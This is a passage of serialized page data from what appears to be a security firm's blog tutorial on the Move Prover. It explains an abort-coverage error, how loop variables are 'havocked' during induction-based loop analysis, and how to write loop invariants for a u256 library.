},{"style":268},[10335],{"type":28,"value":3319},{"type":23,"tag":213,"props":10337,"children":10338},{"style":220},[10339],{"type":28,"value":2867},{"type":23,"tag":213,"props":10341,"children":10342},{"class":215,"line":533},[10343],{"type":23,"tag":213,"props":10344,"children":10345},{"style":220},[10346],{"type":28,"value":1208},{"type":23,"tag":24,"props":10348,"children":10349},{},[10350],{"type":28,"value":10351},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":23,"tag":24,"props":10353,"children":10354},{},[10355],{"type":28,"value":10356},"Let's try to prove the library with the specifications from above:",{"type":23,"tag":202,"props":10358,"children":10360},{"code":10359,"language":4338,"meta":7,"className":4339,"style":7},"$ move prove\n",[10361],{"type":23,"tag":209,"props":10362,"children":10363},{"__ignoreMap":7},[10364],{"type":23,"tag":213,"props":10365,"children":10366},{"class":215,"line":216},[10367,10372,10377],{"type":23,"tag":213,"props":10368,"children":10369},{"style":257},[10370],{"type":28,"value":10371},"$",{"type":23,"tag":213,"props":10373,"children":10374},{"style":246},[10375],{"type":28,"value":10376}," move",{"type":23,"tag":213,"props":10378,"children":10379},{"style":246},[10380],{"type":28,"value":10381}," prove\n",{"type":23,"tag":24,"props":10383,"children":10384},{},[10385],{"type":28,"value":10386},"It outputs the following error information:",{"type":23,"tag":202,"props":10388,"children":10390},{"code":10389,"language":4338,"meta":7,"className":4339,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭ spec add {\n| aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n| ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n| }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n carry = 54\n i = 3792\n ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[10391],{"type":23,"tag":209,"props":10392,"children":10393},{"__ignoreMap":7},[10394,10402,10409,10471,10492,10582,10650,10662,10670,10677,10684,10691,10709,10770,10787,10804,10876,10892,10900,10907,10957,10965,10982],{"type":23,"tag":213,"props":10395,"children":10396},{"class":215,"line":216},[10397],{"type":23,"tag":213,"props":10398,"children":10399},{"style":220},[10400],{"type":28,"value":10401},"[...]\n",{"type":23,"tag":213,"props":10403,"children":10404},{"class":215,"line":226},[10405],{"type":23,"tag":213,"props":10406,"children":10407},{"emptyLinePlaceholder":18},[10408],{"type":28,"value":530},{"type":23,"tag":213,"props":10410,"children":10411},{"class":215,"line":524},[10412,10417,10422,10427,10432,10437,10442,10447,10452,10457,10461,10466],{"type":23,"tag":213,"props":10413,"children":10414},{"style":257},[10415],{"type":28,"value":10416},"error:",{"type":23,"tag":213,"props":10418,"children":10419},{"style":246},[10420],{"type":28,"value":10421}," abort",{"type":23,"tag":213,"props":10423,"children":10424},{"style":246},[10425],{"type":28,"value":10426}," not",{"type":23,"tag":213,"props":10428,"children":10429},{"style":246},[10430],{"type":28,"value":10431}," covered",{"type":23,"tag":213,"props":10433,"children":10434},{"style":246},[10435],{"type":28,"value":10436}," by",{"type":23,"tag":213,"props":10438,"children":10439},{"style":246},[10440],{"type":28,"value":10441}," any",{"type":23,"tag":213,"props":10443,"children":10444},{"style":246},[10445],{"type":28,"value":10446}," of",{"type":23,"tag":213,"props":10448,"children":10449},{"style":246},[10450],{"type":28,"value":10451}," the",{"type":23,"tag":213,"props":10453,"children":10454},{"style":246},[10455],{"type":28,"value":10456}," `",{"type":23,"tag":213,"props":10458,"children":10459},{"style":257},[10460],{"type":28,"value":8411},{"type":23,"tag":213,"props":10462,"children":10463},{"style":246},[10464],{"type":28,"value":10465},"`",{"type":23,"tag":213,"props":10467,"children":10468},{"style":257},[10469],{"type":28,"value":10470}," clauses\n",{"type":23,"tag":213,"props":10472,"children":10473},{"class":215,"line":533},[10474,10479,10484,10488],{"type":23,"tag":213,"props":10475,"children":10476},{"style":257},[10477],{"type":28,"value":10478},"╭",{"type":23,"tag":213,"props":10480,"children":10481},{"style":246},[10482],{"type":28,"value":10483}," spec",{"type":23,"tag":213,"props":10485,"children":10486},{"style":246},[10487],{"type":28,"value":9666},{"type":23,"tag":213,"props":10489,"children":10490},{"style":246},[10491],{"type":28,"value":1375},{"type":23,"tag":213,"props":10493,"children":10494},{"class":215,"line":543},[10495,10500,10505,10509,10513,10517,10521,10525,10529,10533,10537,10541,10546,10550,10554,10558,10562,10566,10570,10574,10578],{"type":23,"tag":213,"props":10496,"children":10497},{"style":274},[10498],{"type":28,"value":10499},"|",{"type":23,"tag":213,"props":10501,"children":10502},{"style":257},[10503],{"type":28,"value":10504}," aborts_if",{"type":23,"tag":213,"props":10506,"children":10507},{"style":246},[10508],{"type":28,"value":9787},{"type":23,"tag":213,"props":10510,"children":10511},{"style":220},[10512],{"type":28,"value":265},{"type":23,"tag":213,"props":10514,"children":10515},{"style":257},[10516],{"type":28,"value":36},{"type":23,"tag":213,"props":10518,"children":10519},{"style":220},[10520],{"type":28,"value":298},{"type":23,"tag":213,"props":10522,"children":10523},{"style":246},[10524],{"type":28,"value":2703},{"type":23,"tag":213,"props":10526,"children":10527},{"style":246},[10528],{"type":28,"value":9787},{"type":23,"tag":213,"props":10530,"children":10531},{"style":220},[10532],{"type":28,"value":265},{"type":23,"tag":213,"props":10534,"children":10535},{"style":257},[10536],{"type":28,"value":3319},{"type":23,"tag":213,"props":10538,"children":10539},{"style":220},[10540],{"type":28,"value":298},{"type":23,"tag":213,"props":10542,"children":10543},{"style":274},[10544],{"type":28,"value":10545},">",{"type":23,"tag":213,"props":10547,"children":10548},{"style":246},[10549],{"type":28,"value":3190},{"type":23,"tag":213,"props":10551,"children":10552},{"style":246},[10553],{"type":28,"value":9743},{"type":23,"tag":213,"props":10555,"children":10556},{"style":230},[10557],{"type":28,"value":282},{"type":23,"tag":213,"props":10559,"children":10560},{"style":246},[10561],{"type":28,"value":9743},{"type":23,"tag":213,"props":10563,"children":10564},{"style":230},[10565],{"type":28,"value":282},{"type":23,"tag":213,"props":10567,"children":10568},{"style":246},[10569],{"type":28,"value":9743},{"type":23,"tag":213,"props":10571,"children":10572},{"style":230},[10573],{"type":28,"value":282},{"type":23,"tag":213,"props":10575,"children":10576},{"style":246},[10577],{"type":28,"value":9743},{"type":23,"tag":213,"props":10579,"children":10580},{"style":220},[10581],{"type":28,"value":313},{"type":23,"tag":213,"props":10583,"children":10584},{"class":215,"line":551},[10585,10589,10594,10598,10602,10606,10610,10614,10618,10622,10626,10630,10634,10638,10642,10646],{"type":23,"tag":213,"props":10586,"children":10587},{"style":274},[10588],{"type":28,"value":10499},{"type":23,"tag":213,"props":10590,"children":10591},{"style":257},[10592],{"type":28,"value":10593}," ensures",{"type":23,"tag":213,"props":10595,"children":10596},{"style":246},[10597],{"type":28,"value":9787},{"type":23,"tag":213,"props":10599,"children":10600},{"style":220},[10601],{"type":28,"value":265},{"type":23,"tag":213,"props":10603,"children":10604},{"style":257},[10605],{"type":28,"value":9168},{"type":23,"tag":213,"props":10607,"children":10608},{"style":220},[10609],{"type":28,"value":298},{"type":23,"tag":213,"props":10611,"children":10612},{"style":246},[10613],{"type":28,"value":8660},{"type":23,"tag":213,"props":10615,"children":10616},{"style":246},[10617],{"type":28,"value":9787},{"type":23,"tag":213,"props":10619,"children":10620},{"style":220},[10621],{"type":28,"value":265},{"type":23,"tag":213,"props":10623,"children":10624},{"style":257},[10625],{"type":28,"value":36},{"type":23,"tag":213,"props":10627,"children":10628},{"style":220},[10629],{"type":28,"value":298},{"type":23,"tag":213,"props":10631,"children":10632},{"style":246},[10633],{"type":28,"value":2703},{"type":23,"tag":213,"props":10635,"children":10636},{"style":246},[10637],{"type":28,"value":9787},{"type":23,"tag":213,"props":10639,"children":10640},{"style":220},[10641],{"type":28,"value":265},{"type":23,"tag":213,"props":10643,"children":10644},{"style":257},[10645],{"type":28,"value":3319},{"type":23,"tag":213,"props":10647,"children":10648},{"style":220},[10649],{"type":28,"value":2867},{"type":23,"tag":213,"props":10651,"children":10652},{"class":215,"line":570},[10653,10657],{"type":23,"tag":213,"props":10654,"children":10655},{"style":274},[10656],{"type":28,"value":10499},{"type":23,"tag":213,"props":10658,"children":10659},{"style":220},[10660],{"type":28,"value":10661}," }\n",{"type":23,"tag":213,"props":10663,"children":10664},{"class":215,"line":655},[10665],{"type":23,"tag":213,"props":10666,"children":10667},{"style":257},[10668],{"type":28,"value":10669},"╰─────^\n",{"type":23,"tag":213,"props":10671,"children":10672},{"class":215,"line":1176},[10673],{"type":23,"tag":213,"props":10674,"children":10675},{"emptyLinePlaceholder":18},[10676],{"type":28,"value":530},{"type":23,"tag":213,"props":10678,"children":10679},{"class":215,"line":1202},[10680],{"type":23,"tag":213,"props":10681,"children":10682},{"style":220},[10683],{"type":28,"value":10401},{"type":23,"tag":213,"props":10685,"children":10686},{"class":215,"line":1758},[10687],{"type":23,"tag":213,"props":10688,"children":10689},{"emptyLinePlaceholder":18},[10690],{"type":28,"value":530},{"type":23,"tag":213,"props":10692,"children":10693},{"class":215,"line":1767},[10694,10699,10704],{"type":23,"tag":213,"props":10695,"children":10696},{"style":257},[10697],{"type":28,"value":10698}," at",{"type":23,"tag":213,"props":10700,"children":10701},{"style":246},[10702],{"type":28,"value":10703}," ./sources/u256.move:316:",{"type":23,"tag":213,"props":10705,"children":10706},{"style":246},[10707],{"type":28,"value":10708}," add\n",{"type":23,"tag":213,"props":10710,"children":10711},{"class":215,"line":1789},[10712,10717,10722,10727,10731,10736,10740,10745,10750,10755,10760,10765],{"type":23,"tag":213,"props":10713,"children":10714},{"style":257},[10715],{"type":28,"value":10716}," enter",{"type":23,"tag":213,"props":10718,"children":10719},{"style":246},[10720],{"type":28,"value":10721}," loop,",{"type":23,"tag":213,"props":10723,"children":10724},{"style":246},[10725],{"type":28,"value":10726}," variable",{"type":23,"tag":213,"props":10728,"children":10729},{"style":220},[10730],{"type":28,"value":265},{"type":23,"tag":213,"props":10732,"children":10733},{"style":257},[10734],{"type":28,"value":10735},"s",{"type":23,"tag":213,"props":10737,"children":10738},{"style":220},[10739],{"type":28,"value":298},{"type":23,"tag":213,"props":10741,"children":10742},{"style":246},[10743],{"type":28,"value":10744},"carry,",{"type":23,"tag":213,"props":10746,"children":10747},{"style":246},[10748],{"type":28,"value":10749}," i,",{"type":23,"tag":213,"props":10751,"children":10752},{"style":246},[10753],{"type":28,"value":10754}," ret",{"type":23,"tag":213,"props":10756,"children":10757},{"style":246},[10758],{"type":28,"value":10759}," havocked",{"type":23,"tag":213,"props":10761,"children":10762},{"style":246},[10763],{"type":28,"value":10764}," and",{"type":23,"tag":213,"props":10766,"children":10767},{"style":246},[10768],{"type":28,"value":10769}," reassigned\n",{"type":23,"tag":213,"props":10771,"children":10772},{"class":215,"line":1812},[10773,10778,10782],{"type":23,"tag":213,"props":10774,"children":10775},{"style":257},[10776],{"type":28,"value":10777}," carry",{"type":23,"tag":213,"props":10779,"children":10780},{"style":246},[10781],{"type":28,"value":511},{"type":23,"tag":213,"props":10783,"children":10784},{"style":514},[10785],{"type":28,"value":10786}," 54\n",{"type":23,"tag":213,"props":10788,"children":10789},{"class":215,"line":1838},[10790,10795,10799],{"type":23,"tag":213,"props":10791,"children":10792},{"style":257},[10793],{"type":28,"value":10794}," i",{"type":23,"tag":213,"props":10796,"children":10797},{"style":246},[10798],{"type":28,"value":511},{"type":23,"tag":213,"props":10800,"children":10801},{"style":514},[10802],{"type":28,"value":10803}," 3792\n",{"type":23,"tag":213,"props":10805,"children":10806},{"class":215,"line":1851},[10807,10812,10816,10821,10825,10830,10835,10839,10844,10849,10853,10858,10863,10867,10872],{"type":23,"tag":213,"props":10808,"children":10809},{"style":257},[10810],{"type":28,"value":10811}," ret",{"type":23,"tag":213,"props":10813,"children":10814},{"style":246},[10815],{"type":28,"value":511},{"type":23,"tag":213,"props":10817,"children":10818},{"style":246},[10819],{"type":28,"value":10820}," u256.U256{v0",{"type":23,"tag":213,"props":10822,"children":10823},{"style":246},[10824],{"type":28,"value":511},{"type":23,"tag":213,"props":10826,"children":10827},{"style":246},[10828],{"type":28,"value":10829}," 26418,",{"type":23,"tag":213,"props":10831,"children":10832},{"style":246},[10833],{"type":28,"value":10834}," v1",{"type":23,"tag":213,"props":10836,"children":10837},{"style":246},[10838],{"type":28,"value":511},{"type":23,"tag":213,"props":10840,"children":10841},{"style":246},[10842],{"type":28,"value":10843}," 27938,",{"type":23,"tag":213,"props":10845,"children":10846},{"style":246},[10847],{"type":28,"value":10848}," v2",{"type":23,"tag":213,"props":10850,"children":10851},{"style":246},[10852],{"type":28,"value":511},{"type":23,"tag":213,"props":10854,"children":10855},{"style":246},[10856],{"type":28,"value":10857}," 6900,",{"type":23,"tag":213,"props":10859,"children":10860},{"style":246},[10861],{"type":28,"value":10862}," v3",{"type":23,"tag":213,"props":10864,"children":10865},{"style":246},[10866],{"type":28,"value":511},{"type":23,"tag":213,"props":10868,"children":10869},{"style":514},[10870],{"type":28,"value":10871}," 1999",{"type":23,"tag":213,"props":10873,"children":10874},{"style":246},[10875],{"type":28,"value":1208},{"type":23,"tag":213,"props":10877,"children":10878},{"class":215,"line":1864},[10879,10883,10888],{"type":23,"tag":213,"props":10880,"children":10881},{"style":257},[10882],{"type":28,"value":10698},{"type":23,"tag":213,"props":10884,"children":10885},{"style":246},[10886],{"type":28,"value":10887}," ./sources/u256.move:346:",{"type":23,"tag":213,"props":10889,"children":10890},{"style":246},[10891],{"type":28,"value":10708},{"type":23,"tag":213,"props":10893,"children":10894},{"class":215,"line":1890},[10895],{"type":23,"tag":213,"props":10896,"children":10897},{"style":257},[10898],{"type":28,"value":10899}," ABORTED\n",{"type":23,"tag":213,"props":10901,"children":10902},{"class":215,"line":1899},[10903],{"type":23,"tag":213,"props":10904,"children":10905},{"emptyLinePlaceholder":18},[10906],{"type":28,"value":530},{"type":23,"tag":213,"props":10908,"children":10909},{"class":215,"line":1912},[10910,10915,10920,10924,10929,10934,10939,10943,10948,10952],{"type":23,"tag":213,"props":10911,"children":10912},{"style":257},[10913],{"type":28,"value":10914},"FAILURE",{"type":23,"tag":213,"props":10916,"children":10917},{"style":246},[10918],{"type":28,"value":10919}," proving",{"type":23,"tag":213,"props":10921,"children":10922},{"style":514},[10923],{"type":28,"value":4618},{"type":23,"tag":213,"props":10925,"children":10926},{"style":246},[10927],{"type":28,"value":10928}," modules",{"type":23,"tag":213,"props":10930,"children":10931},{"style":246},[10932],{"type":28,"value":10933}," from",{"type":23,"tag":213,"props":10935,"children":10936},{"style":246},[10937],{"type":28,"value":10938}," package",{"type":23,"tag":213,"props":10940,"children":10941},{"style":246},[10942],{"type":28,"value":10456},{"type":23,"tag":213,"props":10944,"children":10945},{"style":257},[10946],{"type":28,"value":10947},"u256",{"type":23,"tag":213,"props":10949,"children":10950},{"style":246},[10951],{"type":28,"value":10465},{"type":23,"tag":213,"props":10953,"children":10954},{"style":220},[10955],{"type":28,"value":10956}," in 9.143s\n",{"type":23,"tag":213,"props":10958,"children":10959},{"class":215,"line":1921},[10960],{"type":23,"tag":213,"props":10961,"children":10962},{"style":220},[10963],{"type":28,"value":10964},"{\n",{"type":23,"tag":213,"props":10966,"children":10967},{"class":215,"line":3879},[10968,10973,10977],{"type":23,"tag":213,"props":10969,"children":10970},{"style":257},[10971],{"type":28,"value":10972}," \"Error\"",{"type":23,"tag":213,"props":10974,"children":10975},{"style":257},[10976],{"type":28,"value":277},{"type":23,"tag":213,"props":10978,"children":10979},{"style":246},[10980],{"type":28,"value":10981}," \"Move Prover failed: exiting with verification errors\"\n",{"type":23,"tag":213,"props":10983,"children":10984},{"class":215,"line":3887},[10985],{"type":23,"tag":213,"props":10986,"children":10987},{"style":220},[10988],{"type":28,"value":1208},{"type":23,"tag":24,"props":10990,"children":10991},{},[10992,10994,10999],{"type":28,"value":10993},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":23,"tag":209,"props":10995,"children":10997},{"className":10996},[],[10998],{"type":28,"value":8411},{"type":28,"value":11000}," clauses. But there is no other abort situation that we have to cover, right?",{"type":23,"tag":24,"props":11002,"children":11003},{},[11004,11006,11012],{"type":28,"value":11005},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":23,"tag":209,"props":11007,"children":11009},{"className":11008},[],[11010],{"type":28,"value":11011},"ret havocked and reassigned",{"type":28,"value":124},{"type":23,"tag":24,"props":11014,"children":11015},{},[11016],{"type":28,"value":11017},"What does this mean?",{"type":23,"tag":24,"props":11019,"children":11020},{},[11021,11023,11030],{"type":28,"value":11022},"By diving into the Move Prover source, we find a ",{"type":23,"tag":36,"props":11024,"children":11027},{"href":11025,"rel":11026},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[40],[11028],{"type":28,"value":11029},"likely suspect",{"type":28,"value":11031},". The prover attempts to prove all loops with induction!",{"type":23,"tag":24,"props":11033,"children":11034},{},[11035],{"type":28,"value":11036},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":23,"tag":131,"props":11038,"children":11039},{},[11040,11045],{"type":23,"tag":135,"props":11041,"children":11042},{},[11043],{"type":28,"value":11044},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":23,"tag":135,"props":11046,"children":11047},{},[11048],{"type":28,"value":11049},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":23,"tag":24,"props":11051,"children":11052},{},[11053,11055,11060,11062,11068,11069,11075,11076,11081,11083,11088],{"type":28,"value":11054},"The loop prover will also ",{"type":23,"tag":95,"props":11056,"children":11057},{},[11058],{"type":28,"value":11059},"havoc, or assign random values to, all variables written to inside the loop",{"type":28,"value":11061},". Going back to the log message, this implies that the variables ",{"type":23,"tag":209,"props":11063,"children":11065},{"className":11064},[],[11066],{"type":28,"value":11067},"carry",{"type":28,"value":424},{"type":23,"tag":209,"props":11070,"children":11072},{"className":11071},[],[11073],{"type":28,"value":11074},"ret",{"type":28,"value":1466},{"type":23,"tag":209,"props":11077,"children":11079},{"className":11078},[],[11080],{"type":28,"value":3826},{"type":28,"value":11082}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":23,"tag":209,"props":11084,"children":11086},{"className":11085},[],[11087],{"type":28,"value":605},{"type":28,"value":11089}," makes no sense.",{"type":23,"tag":24,"props":11091,"children":11092},{},[11093],{"type":28,"value":11094},"More concretely, the loop analysis translates into the following steps.",{"type":23,"tag":131,"props":11096,"children":11097},{},[11098,11103,11108,11113,11118,11123],{"type":23,"tag":135,"props":11099,"children":11100},{},[11101],{"type":28,"value":11102},"Assert the loop invariant",{"type":23,"tag":135,"props":11104,"children":11105},{},[11106],{"type":28,"value":11107},"Havoc all modified variables",{"type":23,"tag":135,"props":11109,"children":11110},{},[11111],{"type":28,"value":11112},"Assume the loop invariant",{"type":23,"tag":135,"props":11114,"children":11115},{},[11116],{"type":28,"value":11117},"Assume the loop guard (the code inside the while condition)",{"type":23,"tag":135,"props":11119,"children":11120},{},[11121],{"type":28,"value":11122},"Run the loop body",{"type":23,"tag":135,"props":11124,"children":11125},{},[11126],{"type":28,"value":11102},{"type":23,"tag":24,"props":11128,"children":11129},{},[11130],{"type":28,"value":11131},"There are two approaches to dealing with loops.",{"type":23,"tag":24,"props":11133,"children":11134},{},[11135],{"type":28,"value":11136},"The first would be to specify a loop invariant.",{"type":23,"tag":24,"props":11138,"children":11139},{},[11140,11142,11149],{"type":28,"value":11141},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":23,"tag":36,"props":11143,"children":11146},{"href":11144,"rel":11145},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[40],[11147],{"type":28,"value":11148},"previous post",{"type":28,"value":124},{"type":23,"tag":202,"props":11151,"children":11153},{"code":11152,"language":205,"meta":7,"className":206,"style":7}," while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n vector::push_back(\n &mut amounts_times_coins,\n (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n );\n i = i + 1;\n };\n",[11154],{"type":23,"tag":209,"props":11155,"children":11156},{"__ignoreMap":7},[11157,11169,11180,11216,11239,11322,11329,11353,11361,11381,11401,11492,11499,11527],{"type":23,"tag":213,"props":11158,"children":11159},{"class":215,"line":216},[11160,11165],{"type":23,"tag":213,"props":11161,"children":11162},{"style":1362},[11163],{"type":28,"value":11164}," while",{"type":23,"tag":213,"props":11166,"children":11167},{"style":220},[11168],{"type":28,"value":8617},{"type":23,"tag":213,"props":11170,"children":11171},{"class":215,"line":226},[11172,11176],{"type":23,"tag":213,"props":11173,"children":11174},{"style":268},[11175],{"type":28,"value":9013},{"type":23,"tag":213,"props":11177,"children":11178},{"style":220},[11179],{"type":28,"value":1375},{"type":23,"tag":213,"props":11181,"children":11182},{"class":215,"line":524},[11183,11188,11192,11196,11200,11204,11208,11212],{"type":23,"tag":213,"props":11184,"children":11185},{"style":268},[11186],{"type":28,"value":11187}," invariant",{"type":23,"tag":213,"props":11189,"children":11190},{"style":257},[11191],{"type":28,"value":8642},{"type":23,"tag":213,"props":11193,"children":11194},{"style":220},[11195],{"type":28,"value":265},{"type":23,"tag":213,"props":11197,"children":11198},{"style":268},[11199],{"type":28,"value":8651},{"type":23,"tag":213,"props":11201,"children":11202},{"style":220},[11203],{"type":28,"value":298},{"type":23,"tag":213,"props":11205,"children":11206},{"style":274},[11207],{"type":28,"value":8660},{"type":23,"tag":213,"props":11209,"children":11210},{"style":268},[11211],{"type":28,"value":3494},{"type":23,"tag":213,"props":11213,"children":11214},{"style":220},[11215],{"type":28,"value":313},{"type":23,"tag":213,"props":11217,"children":11218},{"class":215,"line":533},[11219,11223,11227,11231,11235],{"type":23,"tag":213,"props":11220,"children":11221},{"style":268},[11222],{"type":28,"value":11187},{"type":23,"tag":213,"props":11224,"children":11225},{"style":268},[11226],{"type":28,"value":3494},{"type":23,"tag":213,"props":11228,"children":11229},{"style":274},[11230],{"type":28,"value":8283},{"type":23,"tag":213,"props":11232,"children":11233},{"style":268},[11234],{"type":28,"value":8571},{"type":23,"tag":213,"props":11236,"children":11237},{"style":220},[11238],{"type":28,"value":313},{"type":23,"tag":213,"props":11240,"children":11241},{"class":215,"line":543},[11242,11246,11250,11254,11258,11262,11266,11270,11274,11278,11282,11286,11290,11294,11298,11302,11306,11310,11314,11318],{"type":23,"tag":213,"props":11243,"children":11244},{"style":268},[11245],{"type":28,"value":11187},{"type":23,"tag":213,"props":11247,"children":11248},{"style":268},[11249],{"type":28,"value":8703},{"type":23,"tag":213,"props":11251,"children":11252},{"style":268},[11253],{"type":28,"value":8708},{"type":23,"tag":213,"props":11255,"children":11256},{"style":230},[11257],{"type":28,"value":3141},{"type":23,"tag":213,"props":11259,"children":11260},{"style":514},[11261],{"type":28,"value":517},{"type":23,"tag":213,"props":11263,"children":11264},{"style":274},[11265],{"type":28,"value":3150},{"type":23,"tag":213,"props":11267,"children":11268},{"style":268},[11269],{"type":28,"value":3826},{"type":23,"tag":213,"props":11271,"children":11272},{"style":274},[11273],{"type":28,"value":277},{"type":23,"tag":213,"props":11275,"children":11276},{"style":268},[11277],{"type":28,"value":8507},{"type":23,"tag":213,"props":11279,"children":11280},{"style":220},[11281],{"type":28,"value":3821},{"type":23,"tag":213,"props":11283,"children":11284},{"style":268},[11285],{"type":28,"value":8741},{"type":23,"tag":213,"props":11287,"children":11288},{"style":220},[11289],{"type":28,"value":8746},{"type":23,"tag":213,"props":11291,"children":11292},{"style":274},[11293],{"type":28,"value":8660},{"type":23,"tag":213,"props":11295,"children":11296},{"style":268},[11297],{"type":28,"value":8755},{"type":23,"tag":213,"props":11299,"children":11300},{"style":220},[11301],{"type":28,"value":3821},{"type":23,"tag":213,"props":11303,"children":11304},{"style":268},[11305],{"type":28,"value":8741},{"type":23,"tag":213,"props":11307,"children":11308},{"style":220},[11309],{"type":28,"value":8746},{"type":23,"tag":213,"props":11311,"children":11312},{"style":274},[11313],{"type":28,"value":1696},{"type":23,"tag":213,"props":11315,"children":11316},{"style":268},[11317],{"type":28,"value":8571},{"type":23,"tag":213,"props":11319,"children":11320},{"style":220},[11321],{"type":28,"value":313},{"type":23,"tag":213,"props":11323,"children":11324},{"class":215,"line":551},[11325],{"type":23,"tag":213,"props":11326,"children":11327},{"style":220},[11328],{"type":28,"value":9005},{"type":23,"tag":213,"props":11330,"children":11331},{"class":215,"line":570},[11332,11337,11341,11345,11349],{"type":23,"tag":213,"props":11333,"children":11334},{"style":220},[11335],{"type":28,"value":11336}," (",{"type":23,"tag":213,"props":11338,"children":11339},{"style":268},[11340],{"type":28,"value":3826},{"type":23,"tag":213,"props":11342,"children":11343},{"style":274},[11344],{"type":28,"value":8804},{"type":23,"tag":213,"props":11346,"children":11347},{"style":268},[11348],{"type":28,"value":8571},{"type":23,"tag":213,"props":11350,"children":11351},{"style":220},[11352],{"type":28,"value":2183},{"type":23,"tag":213,"props":11354,"children":11355},{"class":215,"line":655},[11356],{"type":23,"tag":213,"props":11357,"children":11358},{"style":220},[11359],{"type":28,"value":11360}," }) {\n",{"type":23,"tag":213,"props":11362,"children":11363},{"class":215,"line":1176},[11364,11369,11373,11377],{"type":23,"tag":213,"props":11365,"children":11366},{"style":220},[11367],{"type":28,"value":11368}," vector",{"type":23,"tag":213,"props":11370,"children":11371},{"style":274},[11372],{"type":28,"value":562},{"type":23,"tag":213,"props":11374,"children":11375},{"style":257},[11376],{"type":28,"value":8837},{"type":23,"tag":213,"props":11378,"children":11379},{"style":220},[11380],{"type":28,"value":1511},{"type":23,"tag":213,"props":11382,"children":11383},{"class":215,"line":1202},[11384,11389,11393,11397],{"type":23,"tag":213,"props":11385,"children":11386},{"style":274},[11387],{"type":28,"value":11388}," &",{"type":23,"tag":213,"props":11390,"children":11391},{"style":230},[11392],{"type":28,"value":287},{"type":23,"tag":213,"props":11394,"children":11395},{"style":268},[11396],{"type":28,"value":8507},{"type":23,"tag":213,"props":11398,"children":11399},{"style":220},[11400],{"type":28,"value":944},{"type":23,"tag":213,"props":11402,"children":11403},{"class":215,"line":1758},[11404,11408,11412,11416,11420,11424,11428,11432,11436,11440,11444,11448,11452,11456,11460,11464,11468,11472,11476,11480,11484,11488],{"type":23,"tag":213,"props":11405,"children":11406},{"style":220},[11407],{"type":28,"value":8795},{"type":23,"tag":213,"props":11409,"children":11410},{"style":274},[11411],{"type":28,"value":1696},{"type":23,"tag":213,"props":11413,"children":11414},{"style":220},[11415],{"type":28,"value":8878},{"type":23,"tag":213,"props":11417,"children":11418},{"style":274},[11419],{"type":28,"value":562},{"type":23,"tag":213,"props":11421,"children":11422},{"style":257},[11423],{"type":28,"value":8887},{"type":23,"tag":213,"props":11425,"children":11426},{"style":220},[11427],{"type":28,"value":265},{"type":23,"tag":213,"props":11429,"children":11430},{"style":274},[11431],{"type":28,"value":405},{"type":23,"tag":213,"props":11433,"children":11434},{"style":268},[11435],{"type":28,"value":271},{"type":23,"tag":213,"props":11437,"children":11438},{"style":220},[11439],{"type":28,"value":8904},{"type":23,"tag":213,"props":11441,"children":11442},{"style":268},[11443],{"type":28,"value":3826},{"type":23,"tag":213,"props":11445,"children":11446},{"style":230},[11447],{"type":28,"value":8913},{"type":23,"tag":213,"props":11449,"children":11450},{"style":290},[11451],{"type":28,"value":308},{"type":23,"tag":213,"props":11453,"children":11454},{"style":220},[11455],{"type":28,"value":8922},{"type":23,"tag":213,"props":11457,"children":11458},{"style":230},[11459],{"type":28,"value":623},{"type":23,"tag":213,"props":11461,"children":11462},{"style":290},[11463],{"type":28,"value":8931},{"type":23,"tag":213,"props":11465,"children":11466},{"style":220},[11467],{"type":28,"value":298},{"type":23,"tag":213,"props":11469,"children":11470},{"style":274},[11471],{"type":28,"value":1696},{"type":23,"tag":213,"props":11473,"children":11474},{"style":220},[11475],{"type":28,"value":400},{"type":23,"tag":213,"props":11477,"children":11478},{"style":268},[11479],{"type":28,"value":8948},{"type":23,"tag":213,"props":11481,"children":11482},{"style":230},[11483],{"type":28,"value":8913},{"type":23,"tag":213,"props":11485,"children":11486},{"style":290},[11487],{"type":28,"value":8931},{"type":23,"tag":213,"props":11489,"children":11490},{"style":220},[11491],{"type":28,"value":2183},{"type":23,"tag":213,"props":11493,"children":11494},{"class":215,"line":1767},[11495],{"type":23,"tag":213,"props":11496,"children":11497},{"style":220},[11498],{"type":28,"value":6858},{"type":23,"tag":213,"props":11500,"children":11501},{"class":215,"line":1789},[11502,11507,11511,11515,11519,11523],{"type":23,"tag":213,"props":11503,"children":11504},{"style":268},[11505],{"type":28,"value":11506}," i",{"type":23,"tag":213,"props":11508,"children":11509},{"style":274},[11510],{"type":28,"value":511},{"type":23,"tag":213,"props":11512,"children":11513},{"style":268},[11514],{"type":28,"value":3494},{"type":23,"tag":213,"props":11516,"children":11517},{"style":274},[11518],{"type":28,"value":8989},{"type":23,"tag":213,"props":11520,"children":11521},{"style":514},[11522],{"type":28,"value":4618},{"type":23,"tag":213,"props":11524,"children":11525},{"style":220},[11526],{"type":28,"value":313},{"type":23,"tag":213,"props":11528,"children":11529},{"class":215,"line":1812},[11530],{"type":23,"tag":213,"props":11531,"children":11532},{"style":220},[11533],{"type":28,"value":11534}," };\n",{"type":23,"tag":24,"props":11536,"children":11537},{},[11538,11540,11546,11548,11553,11555,11561],{"type":28,"value":11539},"In this case, the brackets 